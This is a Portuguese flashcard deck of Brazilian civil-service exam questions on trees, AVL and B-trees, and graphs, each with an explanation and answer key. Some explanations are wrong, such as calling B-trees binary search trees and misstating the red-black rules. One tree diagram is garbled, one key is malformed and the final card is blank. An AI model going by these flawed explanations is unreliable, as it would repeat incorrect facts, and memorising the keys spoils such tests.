  1. (FCC – 2019 – TRF-4) Determinada estrutura de dados foi projetada para minimizar o número de acessos à memória secundária. Como o número de acessos à memória secundária depende diretamente da altura da estrutura, esta foi concebida para ter uma altura inferior às estruturas hierarquizadas similares, para um dado número de registros. Para manter o número de registros
    armazenados e, ao mesmo tempo, diminuir a altura, uma solução é aumentar o grau de ramificação da estrutura (o número máximo de filhos que um nó pode ter). Assim, esta estrutura possui um grau
    de ramificação geralmente muito maior que 2. Além disso, a cada nó são associados mais de um registro de dados: se o grau de ramificação de um nó for g, este pode armazenar até g-1 registros.
    Esta estrutura de dados é utilizada em banco de dados e sistema de arquivos, sendo denominada

a) árvore digital ou trie.
b) árvore B.
c) lista linear duplamente encadeada circular.
d) árvore rubro-negra.
e) árvore binária de busca não balanceada.

A

A questão se refere à Árvore B. É uma modificação da árvore binária de busca balanceada que armazena os dados de forma organizada, permitindo a eles acesso rápido, reduzindo a quantidade de vezes em que é necessário acessar a memória secundária.

Este número de acessos à memória secundária depende diretamente da altura da estrutura, então ela foi criada para ter uma altura menor do que a de outras estruturas hierarquizadas semelhantes.

Quanto às demais estruturas de dados, sabemos que:

● digital ou trie: estrutura de dados para armazenar uma coleção de strings de forma organizada, para ser usado de forma eficiente em um dicionário.

● lista linear duplamente encadeada circular: uma lista em que cada nó tem ligação com o anterior e o próximo. Além disso, o primeiro nó tem ligação com o último, e vice-versa.

● árvore rubro-negra: uma variante de uma árvore de busca balanceada. Os nós da árvore podem ser coloridos de vermelho ou preto. Há algumas regras:
a. os nós vermelhos sempre têm dois filhos pretos
b. a raíz e as folhas devem ser nós pretos.

● árvore binária de busca não balanceada: os elementos são dispostos na árvore de modo que as operações são realizadas em tempo linear. É o contrário da Árvore B, que é balanceada.

Gabarito: Letra B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
155
Q
  1. (FGV – 2022 – SEFAZ-AM) A estrutura de dados usada em índices multiníveis dinâmicos em banco de dados relacionais, que garantem que tais estruturas sempre estejam balanceadas e que o espaço
    desperdiçado pela exclusão de itens de dados, se houver, nunca se torne excessivo, é denominada

a) fila.
b) hash.
c) bitmap.
d) árvore B.
e) árvore binária.

A

Vamos analisar item a item:

a) fila
Fila é uma estrutura de dados linear que seja a regra FIFO, first-in first-out, ou seja, primeiro a entrar é o primeiro a sair.
Não envolve balanceamento e não tem multiníveis. Falso.

b) hash.
Estrutura de dados que usa uma função hash para transformar entradas variáveis em saídas fixas de um vetor. Não tem multiníveis dinâmicos ou balanceamento. Falso.

c) bitmap.
Armazena bits em um vetor. Não envolve balanceamento. Falso.

d) árvore B.
São um tipo de árvore binária de busca balanceada. As árvores B são justamente as estruturas usadas para implementar os índices multiníveis dinâmicos em bancos de dados relacionais. Verdadeiro.

e) árvore binária.
Uma árvore binária não necessariamente é balanceada, portanto não é a resposta correta. Falso.

Gabarito: Letra D

ex 18 pag 108

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
156
Q
  1. (CESPE - 2012 - Banco da Amazônia - Técnico Científico - Administração de Dados)

As operações de busca em uma árvore binária não a alteram, enquanto operações de inserção e remoção de nós provocam mudanças sistemáticas na árvore.

A

Perfeito! Operações de Busca não alteram nenhuma estrutura de dados. Já Operações de Inserção e Remoção podem provocar diversas mudanças estruturais.

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
157
Q
  1. (CETAP - 2010 - AL-RR - Analista de Sistemas - A)

Uma árvore binária é aquela que tem como conteúdo somente valores binários.

A

Não! Uma árvore binária é aquela que tem, no máximo, grau 2!

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
158
Q
  1. (CESPE - 2012 - Banco da Amazônia - Técnico Científico - Administração de Dados)

O tipo de dados árvore representa organizações hierárquicas entre dados.

A

Perfeito, observem que alguns autores tratam Tipos de Dados como sinônimo de Estruturas de Dados.

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
159
Q
  1. (CETAP - 2010 - AL-RR - Analista de Sistemas - B)

Uma árvore é composta por duas raízes, sendo uma principal e a outra secundária.

A

Não, uma árvore possui somente um nó raíz!

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
160
Q
  1. (CESPE - 2010 - DETRAN-ES - Analista de Sistemas)

Denomina-se árvore binária a que possui apenas dois nós.

A

Não, árvore binária é aquela em que cada nó tem, no máximo, dois filhos!

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
161
Q
  1. (FUNCAB - 2010 - SEJUS-RO - Analista de Sistemas - II)

Árvores são estruturas de dados estáticas com sua raiz representada no nível um.

A

Não! Árvores são estruturas dinâmicas e sua raiz, em geral, é representada no nível 0 (mas depende de autor para autor).

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
162
Q
  1. (FGV – 2015 – DPE/MT – Analista de Sistemas) No desenvolvimento de sistemas, a escolha de estruturas de dados em memória é especialmente relevante.

Dentre outras classificações, é possível agrupar essas estruturas em lineares e não lineares, conforme a quantidade de sucessores e
antecessores que os elementos da estrutura possam ter.

Assinale a opção que apresenta, respectivamente, estruturas de dados lineares e não lineares.

a) Tabela de dispersão e fila.
b) Estrutura de seleção e pilha.
c) Pilha e estrutura de seleção.
d) Pilha e árvore binária de busca.
e) Fila e pilha.

A

As Estruturas Lineares são aquelas em que cada elemento pode ter um único predecessor (exceto o primeiro elemento) e um único sucessor (exceto o último elemento). Como exemplo, podemos citar Listas, Pilhas, Filas, Arranjos, entre outros.

Já as Estruturas Não-Lineares são aquelas em que cada elemento pode ter mais de um predecessor e/ou mais de um sucessor. Como exemplo, podemos citar Árvores, Grafos e Tabelas de Dispersão.

Conforme vimos em aula, trata-se de pilha e árvore respectivamente.

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
163
Q
  1. (CESPE - 2010 – TRE/MT – Analista de Sistemas – B)

As listas, pilhas, filas e árvores são estruturas de dados que têm como principal característica a sequencialidade dos seus elementos.

A

Não! Árvores ntêm como principal característica a sequencialidade dos seus elementos.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
164
Q
  1. (FCC - 2012 - MPE-AP - Analista Ministerial - Tecnologia da Informação – A)

A árvore é uma estrutura linear que permite representar uma relação de hierarquia. Ela possui um nó raiz e subárvores não vazias.

A

Árvore é uma estrutura linear? Não, hierárquica!

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
165
Q
  1. (CESPE - 2010 – TRE/MT - Analista de Sistemas – E)

O uso de recursividade é totalmente
inadequado na implementação de operações para manipular elementos de uma estrutura de dados do tipo árvore.

A

Pelo contrário, é fundamental para implementação de operações.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
166
Q
  1. (FCC - 2011 - TRT - 19ª Região (AL) - Técnico Judiciário - Tecnologia da Informação) Em uma árvore binária, todos os nós têm grau:

a) 2.
b) 0, 1 ou 2.
c) divisível por 2.
d) maior ou igual a 2.
e) 0 ou 1.

A

Olha a pegadinha!

Todos os nós têm grau 0 (Folha), 1 (Único filho) ou 2 (Dois filhos).

Gabarito: Letra B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
167
Q
  1. (CESPE - 2011 – STM – Analista de Sistemas)

Enquanto uma lista encadeada somente pode ser percorrida de um único modo, uma árvore binária pode ser percorrida de muitas maneiras diferentes.

A

Galera, pense em uma árvore bem simples com um pai (raiz) e dois filhos.

O Modo Pré-fixado vai ler primeiro a raíz, depois a sub-árvore da esquerda e depois a sub-árvore da direita.

O Modo In-fixado vai ler primeiro a sub-árvore da esquerda, depois a raiz e depois a sub-árvore da direita.

O Modo Pós-fixado vai ler primeiro a sub-árvore da esquerda, depois a sub-árvore da direita e depois a raiz.

Vamos agora ver uma árvore de exemplo:
X
/ \
Y Z

  • Percorrimento Pré-fixado: X Y Z
  • Percorrimento In-fixado: Y X Z
  • Percorrimento Pós-fixado: Y Z X

Logo, uma árvore pode ser percorrida de modo pré-fixado, in-fixado e pós-fixado.

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
168
Q
  1. (FCC - 2016 - Prefeitura de Teresina - PI - Analista Tecnológico - Analista de Suporte Técnico)

Considerando a estrutura de dados denominada árvore,

a) a sua altura é definida como a profundidade média de todos os seus vértices.

b) um vértice com um ou dois filhos é denominado folha.

c) cada nó tem no mínimo dois filhos em uma árvore binária.

d) as folhas de uma árvore binária completa podem ter profundidades distintas entre si.

e) a profundidade de um vértice em uma árvore é definida como o comprimento da raiz da árvore até esse vértice.

A

(a) Errado! Altura é definida pela folha mais profunda;

(b) Errado! Folhas não possuem filhos, do contrário não seriam folhas;

(c) Errado! Os nós de uma árvore binaria
podem ter NO MÁXIMO dois filhos, e não no mínimo;

(d) Errado! Uma árvore binária completa é aquele em que todos os nós internos possuem seus dois filhos (máximo). Desse modo, todas as folhas devem ter a mesma profundidade;

(e) Certo!

Gabarito: Letra E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
169
Q
  1. (CESGRANRIO – 2006 – DECEA - Analista de Sistemas) Suponha a seguinte árvore AVL.

A inserção do elemento 30 nessa árvore:

a) aumenta a profundidade da árvore após uma rotação.

b) provoca uma rotação à direita.

c) deixa os nós 02 e 07 no mesmo nível.

d) altera a raiz da árvore (nó 41).

e) torna o nó 33 pai do nó 27.

A

Localização da Inserção:

41: 30 é menor que 41, então vai para a subárvore esquerda.

27: 30 é maior que 27, então vai para a subárvore direita.

38: 30 é menor que 38, então vai para a subárvore esquerda.

33: 30 é menor que 33, então será inserido como filho esquerdo de 33.

           41
        /     \
     27      81
    /  \      /  \
07   38 67  84    / \    / \ 02 1133
      /  \
    30

Necessidade de Rotação

Como a diferença de altura é maior que 1, uma rotação é necessária para balancear a árvore. Neste caso, temos um desbalanceamento do tipo Esquerda-Esquerda, então precisamos de uma rotação simples à direita na subárvore com raiz em 38.

                   41
                 /     \
              27     81
             /  \      /  \
         07   33 67  84
        / \     / \
    02 11 30  38

Verificação das Alternativas:

a) Aumenta a profundidade da árvore após uma rotação.

A profundidade da árvore não aumenta. Continua a mesma.

b) Provoca uma rotação à direita.

Correto. Fizemos uma rotação à direita no ramo 38-33.

c) Deixa os nós 02 e 07 no mesmo nível.

Não faz sentido, pois a inserção de 30 não afeta os níveis dos nós 02 e 07.

d) Altera a raiz da árvore (nó 41).

Não altera a raiz da árvore. O nó 41 continua sendo a raiz.

e) Torna o nó 33 pai do nó 27.

Não faz sentido, pois 33 não se torna pai de 27.

Gabarito: B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
170
Q
  1. (CESPE – 2012 – TJ/RO - Analista de Sistemas)

Assinale a opção em que é apresentado exemplo de estrutura de informação do tipo abstrata, balanceada, não linear e com relacionamento hierárquico.

a) lista duplamente encadeada
b) árvore binária
c) pilha
d) árvore AVL
e) deque

A

Tipo abstrato? Todos são!

Não Linear? Árvore Binária e Árvore AVL!

Com relacionamento hierárquico?
Árvore Binária e Árvore AVL!

Balanceada? Somente a Árvore AVL.

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
171
Q
  1. (FCC – 2008 – TRT/18 - Analista de Sistemas)

Árvore AVL balanceada em altura significa que, para cada nó da árvore, a diferença entre as alturas das suas sub-árvores (direita e esquerda) sempre será:

a) menor ou igual a 2.
b) igual a 0 ou -1.
c) maior que 1.
d) igual a 1.
e) igual a -1, 0 ou 1.

A

Em uma árvore AVL a diferença entre as alturas não pode ser maior que 1.

Uma outra forma de escrever isso é dizer que o módulo da diferença entre as alturas não pode ser maior do 1.

E outra forma de escrever isso é dizer que um nó só poder ter uma diferença de altura de suas subárvores de 1, 0 ou -1.

Gabarito: Letra E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
172
Q
  1. (CESGRANRIO – 2011 – PETROBRÁS - Analista de Sistemas) Uma árvore AVL é uma árvore binária de busca autobalanceada que respeita algumas propriedades fundamentais. Como todas as árvores, ela tem uma propriedade chamada altura, que é igual ao valor da altura de sua raiz.

Sabendo que a altura de uma folha é igual a um e que a altura de um nó pai é igual ao máximo das alturas de seus filhos mais um, qual estrutura NÃO pode representar uma árvore AVL?

a) Uma árvore vazia
b) Uma árvore com dois nós
c) Uma árvore com três nós e altura igual a dois
d) Uma árvore com três nós e altura igual a três
e) Uma árvore com seis nós e altura igual a três

A

(a) Errado, uma árvore vazia é uma Árvore AVL;

(b) Errado, é impossível uma árvore com dois nós não ser uma Árvore AVL;

(c) Errado, uma árvore com três nós e altura igual a dois é perfeitamente balanceada;

(d) Correto, uma árvore com três nós e altura igual a três não pode estar balanceada (vide imagem abaixo);

(e) Errado, uma árvore com seis nós e altura igual a três também está balanceada.

Gabarito: D.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
173
Q
  1. (CESGRANRIO – 2011 – PETROBRÁS - Analista de Sistemas)

Após a inserção de um nó, é necessário
verificar cada um dos nós ancestrais desse nó inserido, relativamente à consistência com as regras estruturais de uma árvore AVL.

PORQUE

O fator de balanceamento de cada nó, em uma árvore AVL, deve pertencer ao conjunto
formado por {-2, -1, 0, +1, +2}.

Analisando-se as afirmações acima, conclui-se que:

a) as duas afirmações são verdadeiras, e a segunda justifica a primeira.

b) as duas afirmações são verdadeiras, e a segunda não justifica a primeira.

c) a primeira afirmação é verdadeira, e a segunda é falsa.

d) a primeira afirmação é falsa, e a segunda é verdadeira.

e) as duas afirmações são falsas.

A

Galera, a primeira frase está perfeita! Após inserir um novo nó, você tem que verificar os nós ancestrais para se certificar de que a Árvore AVL continua balanceada.

No entanto, o fator de balanceamento de cada
nó deve pertencer ao conjunto formado por {-1, 0, 1}.

Lembrem-se: o módulo da diferença jamais pode ser maior do que 1, portanto a primeira está verdadeira e a segunda falsa.

Gabarito: Letra C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
174
Q
  1. (CESGRANRIO – 2010 – EPE - Analista de Sistemas)

Um programador decidiu utilizar, em determinado sistema de análise estatística, uma árvore AVL como estrutura de dados.

Considerando-se n a quantidade de elementos dessa árvore, o melhor algoritmo de pesquisa, com base em comparações, possui complexidade de tempo, no pior caso, igual a:

a) O(1)
b) O(log n).
c) Ω(n)
d) Ω(n log n)
e) Ω(n²)

A

Questão tranquila! Trata-se do O(log n).

Gabarito: Letra B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
175
Q
  1. (CESGRANRIO – 2012 – PETROBRÁS - Analista de Sistemas)

Todos os N nomes de uma lista de assinantes de uma companhia telefônica foram inseridos, em ordem alfabética, em três estruturas de
dados: uma árvore binária de busca, uma árvore AVL e uma árvore B.

As alturas resultantes das três árvores são, respectivamente,

a) O(Log(N)), O(Log(N)), O(1)
b) O(Log(N)), O(N), O(Log(N))
c) O(N), O(Log(N)), O(1)
d) O(N), O(Log(N)), O(Log(N))
e) O(N), O(N), O(Log(N))

A

Questão tranquila! Trata-se do O(n), O(log n) e O(log n) respectivamente.

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
176
Q
  1. (IBFC – 2014 – TRE/AM - Analista de Sistemas)

Quanto ao Algoritmo e estrutura de dados no caso de árvore AVL (ou árvore balanceada pela altura), analise as afirmativas abaixo, dê valores Verdadeiro (V) ou Falso (F) e assinale a alternativa que apresenta a sequência correta de cima para baixo:

( ) Uma árvore AVL é dita balanceada quando, para cada nó da árvore, a diferença entre as alturas das suas sub-árvores (direita e esquerda) não é maior do que um.

20 ( ) Caso a árvore não esteja balanceada é necessário seu balanceamento através da rotação simples ou rotação dupla.

Assinale a alternativa correta:
a) F-F
b) F-V
c) V-F
d) V-V

A

A primeira alternativa está impecável, assim como a segunda. Vimos exaustivamente em aula!

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
177
Q
  1. (FGV – 2009 – MEC - Analista de Sistemas) Acerca das estruturas de dados Árvores, analise as afirmativas a seguir.

I. A árvore AVL é uma árvore binária com uma condição de balanço, porém não completamente balanceada.

II. Árvores admitem tratamento computacional eficiente quando comparadas às estruturas mais genéricas como os grafos.

III. Em uma Árvore Binária de Busca, todas as chaves da subárvore esquerda são maiores que a chave da raiz. Assinale:

a) se somente a afirmativa I estiver correta.

b) se somente as afirmativas I e II estiverem corretas.

c) se somente as afirmativas I e III estiverem corretas.

d) se somente as afirmativas II e III estiverem corretas.

e) se todas as afirmativas estiverem corretas.

A

(I) Correto, ela é não é completamente balanceada;

(II) Correto, isso é verdade!

(III) Errado, são menores que a chave da raiz.

Gabarito: Letra B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
178
Q
  1. (CESPE – 2010 – PETROBRÁS - Analista de Sistemas)

As árvores usadas como estruturas de pesquisa
têm características especiais que garantem sua utilidade e propriedades como facilidade de acesso aos elementos procurados em cada instante. A esse respeito, considere as afirmações abaixo.

I - A árvore representada na figura (I) acima não é uma árvore AVL, pois as folhas não estão no
mesmo nível.

II - A sequência 20, 30, 35, 34, 32, 33 representa um percurso sintaticamente correto de busca do elemento 33 em uma árvore binária de busca.

III - A árvore representada na figura (II) acima é uma árvore binária, apesar da raiz não ter filhos.

É (São) correta(s) APENAS a(s) afirmativa(s):

a) I.
b) II.
c) III.
d) I e II.
e) II e III.

A

(I) Errado. Trata-se, sim, de uma Árvore AVL;

(II) Correto. Temos a sequência 20, 30, 35, 34, 32, 33 e estamos procurando o 33. 33>20, logo descemos à direita; 33>30, logo descemos à direita de novo; 33<35, logo descemos à esquerda; 33<34, logo descemos à esquerda de novo; 33>32, logo descemos à direita. Pronto,
encontramos o 33;

(III) Correto. Trata-se de um Árvore Binária sem filhos.

Gabarito: Letra E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
179
Q
  1. (CESPE/CEBRASPE – 2018 – PF)

Considerando a terminologia e os conceitos básicos de grafos, julgue o item a seguir, relativo ao grafo precedente.

No grafo em apreço, existem três ciclos com comprimento quatro: AJBA, BKLB e CDMC.

A

Se observar, os ciclos que ligam os pontos AJBA, BKLB e CDMC possuem 3 arestas cada. Significa que o comprimento deles é “três”, e não “quatro”.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
180
Q
  1. (CESPE/CEBRASPE – 2018 – PF)

Considerando a terminologia e os conceitos básicos de grafos, julgue o item a seguir, relativo ao grafo precedente.

O grafo em questão tem diâmetro igual a quatro.

A

O diâmetro de um grafo corresponde à maior distância mínima entre um par de vértices. Para calculá-lo, é necessário achar os menores caminhos entre cada par de vértices. O maior desses caminhos será o diâmetro.

No caso, você pode notar que, neste grafo, os vértices que estão mais distantes entre si são os vértices A ou J, para os vértices D ou M. E existem caminhos mínimos entre eles, por exemplo:

  • ABLCD: tamanho 4
  • JBLCD: tamanho 4
  • ABLCM: tamanho 4
  • JBLCM: tamanho 4

Existem caminhos maiores, se eu quiser fazer, por exemplo:

  • ABKLCD: tamanho 5
  • JBKLCD: tamanho 5
  • ABKLCDM: tamanho 6
  • JBKLCDM: tamanho 6

Porém o diâmetro leva em consideração a maior distância mínima entre os vértices.

E as distâncias mínimas são de tamanho 4 – a maior que conseguimos encontrar. Portanto, o diâmetro do grafo é 4.

Gabarito: Certo

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
181
Q
  1. (CESPE/CEBRASPE – 2018 – PF)

Considerando a terminologia e os conceitos básicos de grafos, julgue o item a seguir, relativo ao grafo precedente.

Os vértices A, B, C, D, J, K, L, M têm graus iguais, respectivamente, a 2, 4, 3, 2, 2, 2, 3, 2.

A

O grau de um vértice é a quantidade de arestas que estão ligadas a ele.

Portanto:

  • A tem 2 arestas, grau 2.
  • B tem 4 arestas, grau 4.
  • C tem 3 arestas, grau 3.
  • D tem 2 arestas, grau 2.
  • J tem 2 arestas, grau 2.
  • K tem 2 arestas, grau 2.
  • L tem 3 arestas, grau 3.
  • M tem 2 arestas grau 2.

Gabarito: Certo

182
Q
  1. (CESPE/CEBRASPE – 2018 – IFF)

Considerando o grafo precedente, assinale a opção correta.

a) Os nós 1 e 4 são adjacentes.

b) O nó 5 é adjacente a si mesmo.

c) Os arcos a1 e a2 são arcos irmãos.

d) Os nós 2 e 3 têm grau 3.

e) O grafo não pode ser classificado como conexo.

A

Vamos analisar item a item:

a) Os nós 1 e 4 são adjacentes.
Os nós 1 e 4 não são adjacentes. Para isso, eles deveriam estar sendo ligados por um arco diretamente, o que não é o caso. Falso.

b) O nó 5 é adjacente a si mesmo.
Para que ele fosse adjacente a si mesmo, era necessário ter um arco realizando uma auto-ligação. Não é o caso.
Falso.

c) Os arcos a1 e a2 são arcos irmãos.
Nesta situação, em que há múltiplos arcos ligando um mesmo par de nós, temos um multigrafo, e não arcos irmãos.
Falso.

d) Os nós 2 e 3 têm grau 3.
Um grau de um nó corresponde a quantidade de arcos fazendo ligação nele. Portanto, o nó 2 possui grau 4, e o nó 3 grau 3. Falso.

e) O grafo não pode ser classificado como conexo.
Um grafo conexo possui pelo menos um caminho entre todos os pares de nós. Neste grafo, não dá para chegar no nó 5. Então o grafo não é conexo. Verdadeiro.

Gabarito: Certo

183
Q
  1. (CESPE/CEBRASPE – 2017 – TRE-TO)

A estrutura de dados formada por conjuntos de pontos (nós ou vértices) em um conjunto de linhas (arestas e arcos) que conectam vários pontos é denominada

a) lista encadeada.
b) fila circular.
c) grafo.
d) árvore.
e) pilha.

A

Vamos de item a item:

a) lista encadeada.
Sequência de elementos que apontam para o seu sucessor. Falso.

b) fila circular.
Estrutura que se comporta como uma fila, mas que permite a inserção de elementos no final, e a remoção de elementos no início, de forma circular. Falso.

c) grafo.
Grafo é uma estrutura de dados com um conjunto de vértices ou nós e arestas ou arcos que os ligam. Verdadeiro.

d) árvore.
Estrutura em que cada nó possui um determinado número de filhos. Falso.

e) pilha.
Estrutura de dados que segue a lógica LIFO, ou last-in first-out, que significa “o último a entrar é o primeiro a sair”. Falso.

Gabarito: Letra C

184
Q
  1. (CESPE/CEBRASPE – 2019 – TJ-AM)

A respeito de lógica, estrutura e linguagem de programação, julgue o item seguinte.

Na estrutura do tipo grafo, cada elemento indica o próximo elemento, seja aquele que o antecede ou aquele que é seu sucessor, e cada elemento está associado a somente um antecessor e a vários sucessores.

A

Em um grafo, cada vértice pode estar ligado a vários outros vértices por meio de arestas.

Porém, os vértices em si não possuem relação de antecessor e sucessor. As arestas podem ou não ter direção – tornando o grafo direcionado ou não.

Dessa forma, dizer que o elemento está associado somente a um antecessor e vários sucessores não é correta.

Gabarito: Errado

185
Q
  1. (FCC – 2018 – DPE-AM)

Considerando que em um grafo há 17 arestas e 13 nós, o cálculo da complexidade ciclomática resulta em

a) 6
b) 4
c) 7
d) 20
e) 18

A

Para responder a esta questão, deve-se usar a fórmula da complexidade ciclomática:

CC = QuantidadeArestas - QuantidadeNós + 2
Ou seja, CC = 17 – 13 + 2 = 6.

Gabarito: Letra A

186
Q
  1. (FGV – 2019 – DPE-RJ) Para que um sistema seja testado adequadamente, é preciso realizar uma quantidade mínima de testes.

Para apoiar essa definição, foi criada a Complexidade Ciclomática de McCabe, com fundamentação na teoria dos grafos.

Essa técnica define uma métrica de software que fornece uma medida quantitativa da complexidade lógica de um programa, apresentando um limite superior para a quantidade de casos de testes de software que devem ser conduzidos.

A Complexidade Ciclomática pode ser calculada tanto pelo número de regiões quanto pelo número de arestas e nós.

Com base no grafo de fluxo acima, correspondente a um trecho de código a ser testado, a quantidade mínima de testesque devem ser realizados para garantir que cada caminho do código tenha sido percorrido em ao menos um teste é:

a) 11 (onze);
b) 6 (seis);
c) 5 (cinco);
d) 4 (quatro);
e) 3 (três).

A

Para responder a esta questão, deve-se usar a fórmula da complexidade ciclomática:

CC = QuantidadeArestas - QuantidadeNós + 2

Os nós são cada um dos círculos no grafo, enquanto as arestas são cada uma das ligações entre os nós.

Portanto, observando o grafo, percebemos que há 5 nós e 7 arestas.

Ou seja, CC = 7 – 5 + 2 = 4.

Gabarito: Letra D

187
Q
  1. (CESPE - 2010 – TJ/ES – Analista de Suporte)

Considerando-se a implementação de um grafo denso, direcionado e ponderado, se o número de vértices ao quadrado tem valor próximo ao número de arcos, o uso de uma matriz de adjacência simétrica apresenta vantagens em relação ao uso de uma lista de
adjacência.

A

Grafo denso, direcionado e ponderado: Isso implica que o grafo tem muitas arestas, direção nas arestas e pesos associados a elas.

Número de vértices ao quadrado próximo ao número de arcos: Reforça que o grafo é denso, mas é uma informação redundante.

Matriz de Adjacência simétrica: Incorreto para grafos direcionados. Simetria só ocorre em grafos não direcionados.

Conclusão:

A questão está errada porque a matriz de adjacência de um grafo direcionado não é simétrica.

Gabarito: E (Errado).

188
Q
  1. (FCC - 2013 – MPE/SE – Analista do Ministério Público) Considere:

I. Estrutura de dados que possui uma sequência de células, na qual cada célula contém um objeto de algum tipo e o endereço da célula seguinte.

II. Podem ser orientados, regulares, completos e bipartidos e possuir ordem, adjacência e grau.

III. Possuem o método de varredura esquerda-raiz-direita (e-r-d).

Os itens de I a III descrevem, respectivamente,

a) árvores binárias, listas ligadas e arrays.
b) arrays, árvores binárias e listas ligadas.
c) grafos, árvores binárias e arrays.
d) listas ligadas, grafos e árvores binárias.
e) grafos, listas ligadas e árvores binárias.

A

(a) Trata-se das Listas Ligadas, visto que falou de sequência, objeto e endereço da célula seguinte;

(b) Trata-se dos Grafos, visto que falou dos tipos regular, bipartido, completo e orientado;

(c) Trata-se das Árvores Binárias, visto que falou de método de varredura e raiz.

Gabarito: Letra D

189
Q
  1. (CESPE - 2013 – TCE/ES – Analista de Sistemas)

Considerando o grafo ilustrado acima, assinale a opção em que é apresentada a descrição em vértices (V) e arestas (A).

a) V = {1, 2, 3, 4, 5, 6 }
A = {(2, 4), (2, 3), (2, 5), (3, 6), (1, 5)}

b) V = { 2, 4, 1, 3, 6, 5 }
A = {(4, 2), (1, 3), (5, 2), (6, 3), (5, 3)}

c) V = {1, 2, 3, 4, 5, 6 }
A = {(4, 2), (3, 4), (5, 2), (6, 3), (5, 3)}

d) V = {1, 2, 3, 4, 5, 6 }
A = {(4, 2), (3, 1), (5, 1), (6, 2), (5, 3)}

e) V = { 2, 4, 1, 3, 6, 5 }
A = {(4, 2), (3, 1), (5, 2), (6, 3), (5, 3)}

A

Galera, os vértices não precisam estar ordenados, logo todos os itens estão corretos.

No entanto, as arestas precisam corresponder ao grafo. Vamos por eliminação:

(a) A aresta (2,3) não existe;

(b) Quase tudo certo, mas a ordem (1,3) está errada – seria (3,1);

(c) A aresta (3,4) não existe;

(d) A aresta (5,1) não existe;

(e) Tudo perfeito!

Gabarito: Letra E

190
Q
  1. (CESPE - 2012 – TJ/RO – Analista de Suporte – ITEM B)

Grafo corresponde a uma estrutura abstrata de
dados que representa um relacionamento entre pares de objetos e que pode armazenar dados em suas arestas e vértices, ou em ambos.

A

Conforme vimos em aula, a definição está perfeita!

Gabarito: Correto

191
Q
  1. (CESPE - 2012 – PEFOCE – Perito Criminal)

Considere que um grafo G seja constituído por um conjunto (N) e por uma relação binária (A), tal que G = (N, A), em que os elementos de N são denominados nós (ou vértices) e os elementos de A são denominados arcos (ou arestas).

Em face dessas informações e do grafo abaixo, é correto afirmar que esses conjuntos são N = {1,2,3,4} e A = {(1,2),(2,1),(2,4),(2,3)}.

A

Conforme vimos em aula, a questão está perfeita!

Temos quatro nós: N = {1,2,3,4}; e quatro arestas: A = {(1,2),(2,1),(2,4),(2,3)} – observem que a ordenação do grafo ordenado está perfeita.

Gabarito: Correto

192
Q
  1. (CESPE - 2012 – BASA – Analista de Sistemas)

É misto o grafo com arestas não dirigidas que representam ruas de dois sentidos e com arestas dirigidas que correspondem a trechos de um único sentido, modelado para representar o mapa de uma cidade cujos vértices sejam os cruzamentos ou finais de
ruas e cujas arestas sejam os trechos de ruas sem cruzamentos.

A

Grafo simples: Não contém laços.

Grafo vazio: Contém apenas vértices, sem arcos.

Grafo misto: Possui arestas dirigidas e não-dirigidas.

Grafo trivial: Possui apenas um vértice.

Grafo denso: Tem muitos arcos em relação ao número de vértices.

Grafo esparso: Tem poucos arcos.

Correção: A definição de grafo misto está correta conforme a fonte mencionada.

Gabarito: Correto.

193
Q
  1. (CESPE - 2012 – BASA – Analista de Sistemas)

Para modelar a rede que conecta todos os computadores em uma sala de escritório com a menor metragem possível de cabos, é adequado utilizar um grafo G cujos vértices representem os possíveis pares (u, v) de computadores e cujas arestas representem o
comprimento dos cabos necessários para ligar os computadores u e v, determinando-se o caminho mínimo, que contenha todos os vértices de G, a partir de um dado vértice v.

A

Galera, leiam devagar a questão! Vejam essa parte: “(…) cujos vértices representem os possíveis pares (u,v)”.

Vocês, é claro, se lembram do conceito de vértices e arestas. Ora, vértice representa um par de computadores? Não, vértices são os computadores! Quem representa pares são as arestas!

Gabarito: Errado

194
Q
  1. (CESPE - 2012 – BASA – Analista de Sistemas)

Um grafo completo contém pelo menos um subgrafo ponderado.

A

A questão não faz sentido, pois os conceitos de completude e ponderação são independentes.

Um grafo completo pode ser ponderado ou não.

Um grafo completo contém subgrafos, mas isso não implica que esses subgrafos sejam ponderados.

Gabarito: Errado.

195
Q
  1. (CESPE - 2012 – BASA – Analista de Sistemas)

Um grafo não direcionado é dito conectado quando há pelo menos um caminho entre dois vértices quaisquer do grafo.

A

Correto com uma pequena imprecisão. Um grafo é conectado se houver um caminho entre todos os pares de vértices.

A definição ideal seria que um grafo é conectado quando há pelo menos um caminho entre cada par de vértices.

Conclusão: A questão está basicamente correta, mas a definição pode ser aprimorada para ser mais precisa.

Gabarito: Correto.

196
Q
  1. (CESPE - 2012 – TJ/AC – Analista de Sistemas)

Define-se um grafo como fortemente conexo se todos os nós puderem ser atingidos a partir de qualquer outro nó.

A

